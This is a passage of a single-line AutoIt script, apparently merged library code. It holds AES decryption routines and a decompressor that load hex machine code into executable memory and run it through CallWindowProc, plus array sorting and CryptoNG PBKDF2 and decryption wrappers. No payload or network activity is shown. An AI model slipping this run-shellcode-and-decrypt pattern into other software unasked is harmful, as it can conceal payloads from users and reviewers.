DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptKeyOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($AesKey),"uint",BinaryLen($Key)* 8 ,"int", 0 ) Return $AesCtx EndFunc Func _AesDecryptCBC(ByRef $AesCtx, ByRef $IV,$Data) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() If Not IsDllStruct($AesCtx) Then Return SetError( 1 , 0 ,Binary("")) $Data=Binary($Data) Local $DataLen=Ceiling(BinaryLen($Data)/ 16 )* 16 If $DataLen= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $DataBuffer=DllStructCreate("byte["&$DataLen&"]") DllStructSetData($DataBuffer, 1 ,$Data) Local $IVBuffer=DllStructCreate("byte[16]") DllStructSetData($IVBuffer, 1 ,$IV) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptCBCOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer)) $IV=DllStructGetData($IVBuffer, 1 ) Return DllStructGetData($DataBuffer, 1 ) EndFunc Func _AesDecryptCFB(ByRef $AesCtx, ByRef $IV,$Data) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() If Not IsDllStruct($AesCtx) Then Return SetError( 1 , 0 ,Binary("")) $Data=Binary($Data) Local $DataLen=BinaryLen($Data) If $DataLen= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $DataBuffer=DllStructCreate("byte["&$DataLen&"]") DllStructSetData($DataBuffer, 1 ,$Data) Local $IVBuffer=DllStructCreate("byte[16]") DllStructSetData($IVBuffer, 1 ,$IV) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptCFBOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer)) $IV=DllStructGetData($IVBuffer, 1 ) Return DllStructGetData($DataBuffer, 1 ) EndFunc Func _AesCryptOFB(ByRef $AesCtx, ByRef $IV,$Data) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() If Not IsDllStruct($AesCtx) Then Return SetError( 1 , 0 ,Binary("")) $Data=Binary($Data) Local $DataLen=BinaryLen($Data) If $DataLen= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $DataBuffer=DllStructCreate("byte["&$DataLen&"]") DllStructSetData($DataBuffer, 1 ,$Data) Local $IVBuffer=DllStructCreate("byte[16]") DllStructSetData($IVBuffer, 1 ,$IV) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_CryptOFBOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer)) $IV=DllStructGetData($IVBuffer, 1 ) Return DllStructGetData($DataBuffer, 1 ) EndFunc Func _AesDecryptCBC_Pad(ByRef $AesCtx, ByRef $IV,$Data) $Data=_AesDecryptCBC($AesCtx,$IV,$Data) Local $DataLen=BinaryLen($Data) For $i=$DataLen To $DataLen- 16 Step -1 If BinaryMid($Data,$i, 1 )=Binary("0x80") Then Return BinaryMid($Data, 1 ,$i- 1 ) EndIf Next Return $Data EndFunc Func _AesDecrypt($Key,$Data,$Mode=$AES_CBC_MODE) $Data=Binary($Data) If BinaryLen($Data)<= 16 Then Return SetError( 1 , 0 ,Binary("")) Local $IV=BinaryMid($Data, 1 , 16 ),$AesCtx,$Ret $Data=BinaryMid($Data, 17 ) Switch String($Mode) Case "CFB",$AES_CFB_MODE $AesCtx=_AesEncryptKey($Key) $Ret=_AesDecryptCFB($AesCtx,$IV,$Data) Case "OFB",$AES_OFB_MODE $AesCtx=_AesEncryptKey($Key) $Ret=_AesCryptOFB($AesCtx,$IV,$Data) Case Else $AesCtx=_AesDecryptKey($Key) $Ret=_AesDecryptCBC_Pad($AesCtx,$IV,$Data) EndSwitch If BinaryLen($Ret)= 0 Then Return SetError( 1 , 0 ,Binary("")) Return $Ret EndFunc Func _AES_CodeDecompress($Code) If @AutoItX64 Then Local $Opcode='0x89C04150535657524889CE4889D7FCB28031DBA4B302E87500000073F631C9E86C000000731D31C0E8630000007324B302FFC1B010E85600000010C073F77544AAEBD3E85600000029D97510E84B000000EB2CACD1E8745711C9EB1D91FFC8C1E008ACE8340000003D007D0000730A80FC05730783F87F7704FFC1FFC141904489C0B301564889FE4829C6F3A45EEB8600D275078A1648FFC610D2C331C9FFC1E8EBFFFFFF11C9E8E4FFFFFF72F2C35A4829D7975F5E5B4158C389D24883EC08C70100000000C64104004883C408C389F64156415541544D89CC555756534C89C34883EC20410FB64104418800418B3183FE010F84AB00000073434863D24D89C54889CE488D3C114839FE0F84A50100000FB62E4883C601E8C601000083ED2B4080FD5077E2480FBEED0FB6042884C00FBED078D3C1E20241885500EB7383FE020F841C01000031C083FE03740F4883C4205B5E5F5D415C415D415EC34863D24D89C54889CE488D3C114839FE0F84CA0000000FB62E4883C601E86401000083ED2B4080FD5077E2480FBEED0FB6042884C078D683E03F410845004983C501E964FFFFFF4863D24D89C54889CE488D3C114839FE0F84E00000000FB62E4883C601E81D01000083ED2B4080FD5077E2480FBEED0FB6042884C00FBED078D389D04D8D7501C1E20483E03041885501C1F804410845004839FE747B0FB62E4883C601E8DD00000083ED2B4080FD5077E6480FBEED0FB6042884C00FBED078D789D0C1E2064D8D6E0183E03C41885601C1F8024108064839FE0F8536FFFFFF41C7042403000000410FB6450041884424044489E84883C42029D85B5E5F5D415C415D415EC34863D24889CE4D89C6488D3C114839FE758541C7042402000000410FB60641884424044489F04883C42029D85B5E5F5D415C415D415EC341C7042401000000410FB6450041884424044489E829D8E998FEFFFF41C7042400000000410FB6450041884424044489E829D8E97CFEFFFF56574889CF4889D64C89C1FCF3A45F5EC3E8500000003EFFFFFF3F3435363738393A3B3C3DFFFFFFFEFFFFFF000102030405060708090A0B0C0D0E0F10111213141516171819FFFFFFFFFFFF1A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323358C3' Else Local $Opcode='0x89C0608B7424248B7C2428FCB28031DBA4B302E86D00000073F631C9E864000000731C31C0E85B0000007323B30241B010E84F00000010C073F7753FAAEBD4E84D00000029D97510E842000000EB28ACD1E8744D11C9EB1C9148C1E008ACE82C0000003D007D0000730A80FC05730683F87F770241419589E8B3015689FE29C6F3A45EEB8E00D275058A164610D2C331C941E8EEFFFFFF11C9E8E7FFFFFF72F2C32B7C2428897C241C61C389D28B442404C70000000000C6400400C2100089F65557565383EC1C8B6C243C8B5424388B5C24308B7424340FB6450488028B550083FA010F84A1000000733F8B5424388D34338954240C39F30F848B0100000FB63B83C301E8CD0100008D57D580FA5077E50FBED20FB6041084C00FBED078D78B44240CC1E2028810EB6B83FA020F841201000031C083FA03740A83C41C5B5E5F5DC210008B4C24388D3433894C240C39F30F84CD0000000FB63B83C301E8740100008D57D580FA5077E50FBED20FB6041084C078DA8B54240C83E03F080283C2018954240CE96CFFFFFF8B4424388D34338944240C39F30F84D00000000FB63B83C301E82E0100008D57D580FA5077E50FBED20FB6141084D20FBEC278D78B4C240C89C283E230C1FA04C1E004081189CF83C70188410139F374750FB60383C3018844240CE8EC0000000FB654240C83EA2B80FA5077E00FBED20FB6141084D20FBEC278D289C283E23CC1FA02C1E006081739F38D57018954240C8847010F8533FFFFFFC74500030000008B4C240C0FB60188450489C82B44243883C41C5B5E5F5DC210008D34338B7C243839F3758BC74500020000000FB60788450489F82B44243883C41C5B5E5F5DC210008B54240CC74500010000000FB60288450489D02B442438E9B1FEFFFFC7450000000000EB9956578B7C240C8B7424108B4C241485C9742FFC83F9087227F7C7010000007402A449F7C702000000740566A583E90289CAC1E902F3A589D183E103F3A4EB02F3A45F5EC3E8500000003EFFFFFF3F3435363738393A3B3C3DFFFFFFFEFFFFFF000102030405060708090A0B0C0D0E0F10111213141516171819FFFFFFFFFFFF1A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323358C3' EndIf Local $AP_Decompress=(StringInStr($Opcode,"89C0")- 3 )/ 2 Local $B64D_Init=(StringInStr($Opcode,"89D2")- 3 )/ 2 Local $B64D_DecodeData=(StringInStr($Opcode,"89F6")- 3 )/ 2 $Opcode=Binary($Opcode) Local $CodeBufferMemory=_MemVirtualAlloc( 0 ,BinaryLen($Opcode),$MEM_COMMIT,$PAGE_EXECUTE_READWRITE) Local $CodeBuffer=DllStructCreate("byte["&BinaryLen($Opcode)&"]",$CodeBufferMemory) DllStructSetData($CodeBuffer, 1 ,$Opcode) Local $B64D_State=DllStructCreate("byte[16]") Local $Length=StringLen($Code) Local $Output=DllStructCreate("byte["&$Length&"]") DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$B64D_Init,"ptr",DllStructGetPtr($B64D_State),"int", 0 ,"int", 0 ,"int", 0 ) DllCall("user32.dll","int","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$B64D_DecodeData,"str",$Code,"uint",$Length,"ptr",DllStructGetPtr($Output),"ptr",DllStructGetPtr($B64D_State)) Local $ResultLen=DllStructGetData(DllStructCreate("uint",DllStructGetPtr($Output)), 1 ) Local $Result=DllStructCreate("byte["&($ResultLen+ 16 )&"]") Local $Ret=DllCall("user32.dll","uint","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$AP_Decompress,"ptr",DllStructGetPtr($Output)+ 4 ,"ptr",DllStructGetPtr($Result),"int", 0 ,"int", 0 ) _MemVirtualFree($CodeBufferMemory, 0 ,$MEM_RELEASE) Return BinaryMid(DllStructGetData($Result, 1 ), 1 ,$Ret[ 0 ]) EndFunc Global Enum $ARRAYFILL_FORCE_DEFAULT , $ARRAYFILL_FORCE_SINGLEITEM , $ARRAYFILL_FORCE_INT , $ARRAYFILL_FORCE_NUMBER , $ARRAYFILL_FORCE_PTR , $ARRAYFILL_FORCE_HWND , $ARRAYFILL_FORCE_STRING Global Enum $ARRAYUNIQUE_NOCOUNT , $ARRAYUNIQUE_COUNT Global Enum $ARRAYUNIQUE_AUTO , $ARRAYUNIQUE_FORCE32 , $ARRAYUNIQUE_FORCE64 , $ARRAYUNIQUE_MATCH , $ARRAYUNIQUE_DISTINCT Func __ArrayQuickSort1D(ByRef $aArray, Const ByRef $iStart, Const ByRef $iEnd) If $iEnd<=$iStart Then Return Local $vTmp If ($iEnd-$iStart)< 15 Then Local $vCur For $i=$iStart+ 1 To $iEnd $vTmp=$aArray[$i] If IsNumber($vTmp) Then For $j=$i- 1 To $iStart Step -1 $vCur=$aArray[$j] If ($vTmp>=$vCur And IsNumber($vCur)) Or ( Not IsNumber($vCur) And StringCompare($vTmp,$vCur)>= 0 ) Then ExitLoop $aArray[$j+ 1]=$vCur Next Else For $j=$i- 1 To $iStart Step -1 If (StringCompare($vTmp,$aArray[$j])>= 0 ) Then ExitLoop $aArray[$j+ 1]=$aArray[$j] Next EndIf $aArray[$j+ 1]=$vTmp Next Return EndIf Local $L=$iStart,$R=$iEnd,$vPivot=$aArray[Int(($iStart+$iEnd)/ 2 )],$bNum=IsNumber($vPivot) Do If $bNum Then While ($aArray[$L]<$vPivot And IsNumber($aArray[$L])) Or ( Not IsNumber($aArray[$L]) And StringCompare($aArray[$L],$vPivot)< 0 ) $L+= 1 WEnd While ($aArray[$R]>$vPivot And IsNumber($aArray[$R])) Or ( Not IsNumber($aArray[$R]) And StringCompare($aArray[$R],$vPivot)> 0 ) $R-= 1 WEnd Else While (StringCompare($aArray[$L],$vPivot)< 0 ) $L+= 1 WEnd While (StringCompare($aArray[$R],$vPivot)> 0 ) $R-= 1 WEnd EndIf If $L<=$R Then $vTmp=$aArray[$L] $aArray[$L]=$aArray[$R] $aArray[$R]=$vTmp $L+= 1 $R-= 1 EndIf Until $L>$R __ArrayQuickSort1D($aArray,$iStart,$R) __ArrayQuickSort1D($aArray,$L,$iEnd) EndFunc Func __ArrayQuickSort2D(ByRef $aArray, Const ByRef $iStep, Const ByRef $iStart, Const ByRef $iEnd, Const ByRef $iSubItem, Const ByRef $iSubMax) If $iEnd<=$iStart Then Return Local $vTmp,$L=$iStart,$R=$iEnd,$vPivot=$aArray[Int(($iStart+$iEnd)/ 2 )][$iSubItem],$bNum=IsNumber($vPivot) Do If $bNum Then While ($iStep*($aArray[$L][$iSubItem]-$vPivot)< 0 And IsNumber($aArray[$L][$iSubItem])) Or ( Not IsNumber($aArray[$L][$iSubItem]) And $iStep*StringCompare($aArray[$L][$iSubItem],$vPivot)< 0 ) $L+= 1 WEnd While ($iStep*($aArray[$R][$iSubItem]-$vPivot)> 0 And IsNumber($aArray[$R][$iSubItem])) Or ( Not IsNumber($aArray[$R][$iSubItem]) And $iStep*StringCompare($aArray[$R][$iSubItem],$vPivot)> 0 ) $R-= 1 WEnd Else While ($iStep*StringCompare($aArray[$L][$iSubItem],$vPivot)< 0 ) $L+= 1 WEnd While ($iStep*StringCompare($aArray[$R][$iSubItem],$vPivot)> 0 ) $R-= 1 WEnd EndIf If $L<=$R Then For $i= 0 To $iSubMax $vTmp=$aArray[$L][$i] $aArray[$L][$i]=$aArray[$R][$i] $aArray[$R][$i]=$vTmp Next $L+= 1 $R-= 1 EndIf Until $L>$R __ArrayQuickSort2D($aArray,$iStep,$iStart,$R,$iSubItem,$iSubMax) __ArrayQuickSort2D($aArray,$iStep,$L,$iEnd,$iSubItem,$iSubMax) EndFunc Func __ArrayDualPivotSort(ByRef $aArray,$iPivot_Left,$iPivot_Right,$bLeftMost= True) If $iPivot_Left>$iPivot_Right Then Return Local $iLength=$iPivot_Right-$iPivot_Left+ 1 Local $i,$j,$k,$iAi,$iAk,$iA1,$iA2,$iLast If $iLength< 45 Then If $bLeftMost Then $i=$iPivot_Left While $i<$iPivot_Right $j=$i $iAi=$aArray[$i+ 1] While $iAi<$aArray[$j] $aArray[$j+ 1]=$aArray[$j] $j-= 1 If $j+ 1 =$iPivot_Left Then ExitLoop WEnd $aArray[$j+ 1]=$iAi $i+= 1 WEnd Else While 1 If $iPivot_Left>=$iPivot_Right Then Return 1 $iPivot_Left+= 1 If $aArray[$iPivot_Left]<$aArray[$iPivot_Left- 1] Then ExitLoop WEnd While 1 $k=$iPivot_Left $iPivot_Left+= 1 If $iPivot_Left>$iPivot_Right Then ExitLoop $iA1=$aArray[$k] $iA2=$aArray[$iPivot_Left] If $iA1<$iA2 Then $iA2=$iA1 $iA1=$aArray[$iPivot_Left] EndIf $k-= 1 While $iA1<$aArray[$k] $aArray[$k+ 2]=$aArray[$k] $k-= 1 WEnd $aArray[$k+ 2]=$iA1 While $iA2<$aArray[$k] $aArray[$k+ 1]=$aArray[$k] $k-= 1 WEnd $aArray[$k+ 1]=$iA2 $iPivot_Left+= 1 WEnd $iLast=$aArray[$iPivot_Right] $iPivot_Right-= 1 While $iLast<$aArray[$iPivot_Right] $aArray[$iPivot_Right+ 1]=$aArray[$iPivot_Right] $iPivot_Right-= 1 WEnd $aArray[$iPivot_Right+ 1]=$iLast EndIf Return 1 EndIf Local $iSeventh=BitShift($iLength, 3 )+BitShift($iLength, 6 )+ 1 Local $iE1,$iE2,$iE3,$iE4,$iE5,$t $iE3=Ceiling(($iPivot_Left+$iPivot_Right)/ 2 ) $iE2=$iE3-$iSeventh $iE1=$iE2-$iSeventh $iE4=$iE3+$iSeventh $iE5=$iE4+$iSeventh If $aArray[$iE2]<$aArray[$iE1] Then $t=$aArray[$iE2] $aArray[$iE2]=$aArray[$iE1] $aArray[$iE1]=$t EndIf If $aArray[$iE3]<$aArray[$iE2] Then $t=$aArray[$iE3] $aArray[$iE3]=$aArray[$iE2] $aArray[$iE2]=$t If $t<$aArray[$iE1] Then $aArray[$iE2]=$aArray[$iE1] $aArray[$iE1]=$t EndIf EndIf If $aArray[$iE4]<$aArray[$iE3] Then $t=$aArray[$iE4] $aArray[$iE4]=$aArray[$iE3] $aArray[$iE3]=$t If $t<$aArray[$iE2] Then $aArray[$iE3]=$aArray[$iE2] $aArray[$iE2]=$t If $t<$aArray[$iE1] Then $aArray[$iE2]=$aArray[$iE1] $aArray[$iE1]=$t EndIf EndIf EndIf If $aArray[$iE5]<$aArray[$iE4] Then $t=$aArray[$iE5] $aArray[$iE5]=$aArray[$iE4] $aArray[$iE4]=$t If $t<$aArray[$iE3] Then $aArray[$iE4]=$aArray[$iE3] $aArray[$iE3]=$t If $t<$aArray[$iE2] Then $aArray[$iE3]=$aArray[$iE2] $aArray[$iE2]=$t If $t<$aArray[$iE1] Then $aArray[$iE2]=$aArray[$iE1] $aArray[$iE1]=$t EndIf EndIf EndIf EndIf Local $iLess=$iPivot_Left Local $iGreater=$iPivot_Right If (($aArray[$iE1]<>$aArray[$iE2]) And ($aArray[$iE2]<>$aArray[$iE3]) And ($aArray[$iE3]<>$aArray[$iE4]) And ($aArray[$iE4]<>$aArray[$iE5])) Then Local $iPivot_1=$aArray[$iE2] Local $iPivot_2=$aArray[$iE4] $aArray[$iE2]=$aArray[$iPivot_Left] $aArray[$iE4]=$aArray[$iPivot_Right] Do $iLess+= 1 Until $aArray[$iLess]>=$iPivot_1 Do $iGreater-= 1 Until $aArray[$iGreater]<=$iPivot_2 $k=$iLess While $k<=$iGreater $iAk=$aArray[$k] If $iAk<$iPivot_1 Then $aArray[$k]=$aArray[$iLess] $aArray[$iLess]=$iAk $iLess+= 1 ElseIf $iAk>$iPivot_2 Then While $aArray[$iGreater]>$iPivot_2 $iGreater-= 1 If $iGreater+ 1 =$k Then ExitLoop 2 WEnd If $aArray[$iGreater]<$iPivot_1 Then $aArray[$k]=$aArray[$iLess] $aArray[$iLess]=$aArray[$iGreater] $iLess+= 1 Else $aArray[$k]=$aArray[$iGreater] EndIf $aArray[$iGreater]=$iAk $iGreater-= 1 EndIf $k+= 1 WEnd $aArray[$iPivot_Left]=$aArray[$iLess- 1] $aArray[$iLess- 1]=$iPivot_1 $aArray[$iPivot_Right]=$aArray[$iGreater+ 1] $aArray[$iGreater+ 1]=$iPivot_2 __ArrayDualPivotSort($aArray,$iPivot_Left,$iLess- 2 , True ) __ArrayDualPivotSort($aArray,$iGreater+ 2 ,$iPivot_Right, False ) If ($iLess<$iE1) And ($iE5<$iGreater) Then While $aArray[$iLess]=$iPivot_1 $iLess+= 1 WEnd While $aArray[$iGreater]=$iPivot_2 $iGreater-= 1 WEnd $k=$iLess While $k<=$iGreater $iAk=$aArray[$k] If $iAk=$iPivot_1 Then $aArray[$k]=$aArray[$iLess] $aArray[$iLess]=$iAk $iLess+= 1 ElseIf $iAk=$iPivot_2 Then While $aArray[$iGreater]=$iPivot_2 $iGreater-= 1 If $iGreater+ 1 =$k Then ExitLoop 2 WEnd If $aArray[$iGreater]=$iPivot_1 Then $aArray[$k]=$aArray[$iLess] $aArray[$iLess]=$iPivot_1 $iLess+= 1 Else $aArray[$k]=$aArray[$iGreater] EndIf $aArray[$iGreater]=$iAk $iGreater-= 1 EndIf $k+= 1 WEnd EndIf __ArrayDualPivotSort($aArray,$iLess,$iGreater, False ) Else Local $iPivot=$aArray[$iE3] $k=$iLess While $k<=$iGreater If $aArray[$k]=$iPivot Then $k+= 1 ContinueLoop EndIf $iAk=$aArray[$k] If $iAk<$iPivot Then $aArray[$k]=$aArray[$iLess] $aArray[$iLess]=$iAk $iLess+= 1 Else While $aArray[$iGreater]>$iPivot $iGreater-= 1 WEnd If $aArray[$iGreater]<$iPivot Then $aArray[$k]=$aArray[$iLess] $aArray[$iLess]=$aArray[$iGreater] $iLess+= 1 Else $aArray[$k]=$iPivot EndIf $aArray[$iGreater]=$iAk $iGreater-= 1 EndIf $k+= 1 WEnd __ArrayDualPivotSort($aArray,$iPivot_Left,$iLess- 1 , True ) __ArrayDualPivotSort($aArray,$iGreater+ 1 ,$iPivot_Right, False ) EndIf EndFunc Func __Array_ExeterInternal(ByRef $aArray,$iStart,$iSize,$sDelimiter, ByRef $aIdx, ByRef $aResult, ByRef $iCount) If $iStart==$iSize- 1 Then For $i= 0 To $iSize- 1 $aResult[$iCount]&=$aArray[$aIdx[$i]]&$sDelimiter Next If $sDelimiter<>"" Then $aResult[$iCount]=StringTrimRight($aResult[$iCount],StringLen($sDelimiter)) $iCount+= 1 Else Local $iTemp For $i=$iStart To $iSize- 1 $iTemp=$aIdx[$i] $aIdx[$i]=$aIdx[$iStart] $aIdx[$iStart]=$iTemp __Array_ExeterInternal($aArray,$iStart+ 1 ,$iSize,$sDelimiter,$aIdx,$aResult,$iCount) $aIdx[$iStart]=$aIdx[$i] $aIdx[$i]=$iTemp Next EndIf EndFunc Func __ArrayUnique_AutoErrFunc() EndFunc Global Enum $CNG_DSA_HASH_ALGORITHM_SHA1 , $CNG_DSA_HASH_ALGORITHM_SHA256 , $CNG_DSA_HASH_ALGORITHM_SHA512 Global Enum $CNG_BCRYPT_HASH_OPERATION_HASH_DATA , $CNG_BCRYPT_HASH_OPERATION_FINISH_HASH Global Enum $CNG_BCRYPT_OPERATION_TYPE_HASH Global Const $CNG_KEY_BIT_LENGTH_AES_192 = 192 Global Const $CNG_STATUS_SUCCESS = 0x00000000 Global Const $CNG_STATUS_INVALID_PARAMETER = 0xC000000D Global Const $CNG_STATUS_NO_MEMORY = 0xC0000017 Global Const $CNG_STATUS_BUFFER_TOO_SMALL = 0xC0000023 Global Const $CNG_STATUS_NOT_FOUND = 0xC0000225 Global Const $CNG_STATUS_INVALID_HANDLE = 0xC0000008 Global Const $CNG_STATUS_DATA_ERROR = 0xC000003E Global Const $CNG_STATUS_NOT_SUPPORTED = 0xC00000BB Global Const $CNG_BCRYPT_BLOCK_PADDING = 0x00000001 Global Const $CNG_BCRYPT_ALG_HANDLE_HMAC_FLAG = 0x00000008 Global Const $CNG_BCRYPT_AES_ALGORITHM = "AES" Global Const $CNG_BCRYPT_RC4_ALGORITHM = "RC4" Global Const $CNG_BCRYPT_SHA1_ALGORITHM = "SHA1" Global Const $CNG_BCRYPT_CHAINING_MODE = "ChainingMode" Global Const $CNG_BCRYPT_CHAIN_MODE_CBC = "ChainingModeCBC" Global Const $CNG_BCRYPT_KEY_LENGTH = "KeyLength" Global $__ghBcryptDll = -1 Global $__gsLastErrorMessage = "" Func _CryptoNG_LastErrorMessage() Return $__gsLastErrorMessage EndFunc Func _CryptoNG_PBKDF2($sPassword,$vSalt,$iIterations,$iDKeyBitLength,$sHashAlgorithmId=$CNG_BCRYPT_SHA1_ALGORITHM,$sProvider= Default) Local $hAlgorithmProvider=-1 Local $xKey=Binary("") If Mod($iDKeyBitLength, 8 )<> 0 Then $__gsLastErrorMessage="Desired key bit length must be a multiple of 8." Return SetError(- 1 , 0 ,"") EndIf If $sPassword="" Then $__gsLastErrorMessage="Password cannot be blank." Return SetError(- 1 , 0 ,"") EndIf If Not ($iIterations> 0 ) Then $__gsLastErrorMessage="Number of iterations must be greater than 0." Return SetError(- 1 , 0 ,"") EndIf If $__ghBcryptDll=-1 Then __CryptoNG_Startup() If @error Then Return SetError( 1 ,@error,"") EndIf If $sProvider= Default Then $sProvider="Microsoft Primitive Provider" $hAlgorithmProvider=__CryptoNG_BCryptOpenHashAlgorithmProvider($sHashAlgorithmId, True ,$sProvider) If @error Then Return SetError( 2 , 0 ,"") $xKey=__CryptoNG_BCryptDeriveKeyPBKDF2($hAlgorithmProvider,$sPassword,$vSalt,$iIterations,$iDKeyBitLength) If @error Then If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) Return SetError( 3 , 0 ,"") EndIf If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) Return $xKey EndFunc Func __CryptoNG_BcryptCloseAlgorithmProvider($hHandle) Local $iError= 0 DllCall($__ghBcryptDll,"int","BCryptCloseAlgorithmProvider","handle",$hHandle,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError, False ) EndIf Return True EndFunc Func __CryptoNG_BCryptDecrypt($sAlgorithmId,$vData,$hEncryptionKey,$bResultIsText= True) Local $tInputBuffer="",$tOutputBuffer="",$tIVBuffer="",$tByteBuffer="" Local $iKeyLength= 0,$iStatusCode= 0,$iError= 0,$iOutputLength= 0 Local $aResult[0] Local $vDecryptedData="" $tByteBuffer=__CryptoNG_BCryptGetProperty($hEncryptionKey,$CNG_BCRYPT_KEY_LENGTH) If @error Then Return SetError( 1 , 0 ,"") $iKeyLength=__CryptoNG_ConvertByteBuffer($tByteBuffer,"ulong")/ 8 $tIVBuffer=DllStructCreate(StringFormat("byte data[%i]",$iKeyLength)) $tInputBuffer=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($vData))) DllStructSetData($tInputBuffer, 1 ,Binary($vData)) $aResult=DllCall($__ghBcryptDll,"int","BCryptDecrypt","handle",$hEncryptionKey,"ptr",DllStructGetPtr($tInputBuffer),"ulong",DllStructGetSize($tInputBuffer),"ptr", Null ,"ptr",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( Null ):(DllStructGetPtr($tIVBuffer)),"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):(DllStructGetSize($tIVBuffer)),"ptr", Null ,"ulong*", 0 ,"ulong*", Null ,"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):($CNG_BCRYPT_BLOCK_PADDING)) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,"") EndIf $iStatusCode=$aResult[0] $iOutputLength=$aResult[9] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,"") EndIf $tOutputBuffer=DllStructCreate(StringFormat("byte data[%i]",$iOutputLength)) $aResult=DllCall($__ghBcryptDll,"int","BCryptDecrypt","handle",$hEncryptionKey,"ptr",DllStructGetPtr($tInputBuffer),"ulong",DllStructGetSize($tInputBuffer),"ptr", Null ,"ptr",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( Null ):(DllStructGetPtr($tIVBuffer)),"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):(DllStructGetSize($tIVBuffer)),"ptr",DllStructGetPtr($tOutputBuffer),"ulong",DllStructGetSize($tOutputBuffer),"ulong*", Null ,"ulong",($sAlgorithmId=$CNG_BCRYPT_RC4_ALGORITHM)?( 0 ):($CNG_BCRYPT_BLOCK_PADDING)) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,"") EndIf $iStatusCode=$aResult[0] $vDecryptedData=BinaryMid(DllStructGetData($tOutputBuffer, 1 ), 1 ,$aResult[ 9 ]) If $bResultIsText Then $vDecryptedData=BinaryToString($vDecryptedData,$SB_UTF8) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,"") EndIf Return $vDecryptedData EndFunc Func __CryptoNG_BCryptDeriveKeyPBKDF2($hAlgorithmProvider,$sPassword,$vSalt,$iIterations,$iKeyBitLength) Local $aResult[0] Local $iError= 0,$iStatusCode= 0 Local $tPasswordBuffer="",$tSaltBuffer="",$tKeyBuffer="" Local $xKey=Binary("") $tPasswordBuffer=DllStructCreate(StringFormat("byte[%i]",BinaryLen($sPassword))) DllStructSetData($tPasswordBuffer, 1 ,Binary($sPassword)) $tSaltBuffer=DllStructCreate(StringFormat("byte[%i]",BinaryLen($vSalt))) DllStructSetData($tSaltBuffer, 1 ,Binary($vSalt)) $tKeyBuffer=DllStructCreate(StringFormat("byte[%i]",$iKeyBitLength/ 8 )) $aResult=DllCall($__ghBcryptDll,"int","BCryptDeriveKeyPBKDF2","handle",$hAlgorithmProvider,"ptr",DllStructGetPtr($tPasswordBuffer),"ulong",DllStructGetSize($tPasswordBuffer),"ptr",DllStructGetPtr($tSaltBuffer),"ulong",DllStructGetSize($tSaltBuffer),"uint64",$iIterations,"ptr",DllStructGetPtr($tKeyBuffer),"ulong",DllStructGetSize($tKeyBuffer),"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) Return SetError( 1 ,$iError,"") EndIf $iStatusCode=$aResult[0] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,"") EndIf $xKey=DllStructGetData(DllStructCreate(StringFormat("byte[%i]",$aResult[ 8 ]),$aResult[ 7 ]), 1 ) Return $xKey EndFunc Func __CryptoNG_BcryptDestroyKey($hKey) Local $iError= 0 DllCall($__ghBcryptDll,"int","BCryptDestroyKey","handle",$hKey) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError, False ) EndIf Return True EndFunc Func __CryptoNG_BCryptGenerateSymmetricKey($hAlgorithmProvider,$vSecret) Local $iError= 0,$iStatusCode= 0 Local $tSecretBuffer="" Local $aResult[0] Local $hKey=-1 $tSecretBuffer=DllStructCreate(StringFormat("byte[%i]",BinaryLen($vSecret))) DllStructSetData($tSecretBuffer, 1 ,Binary($vSecret)) 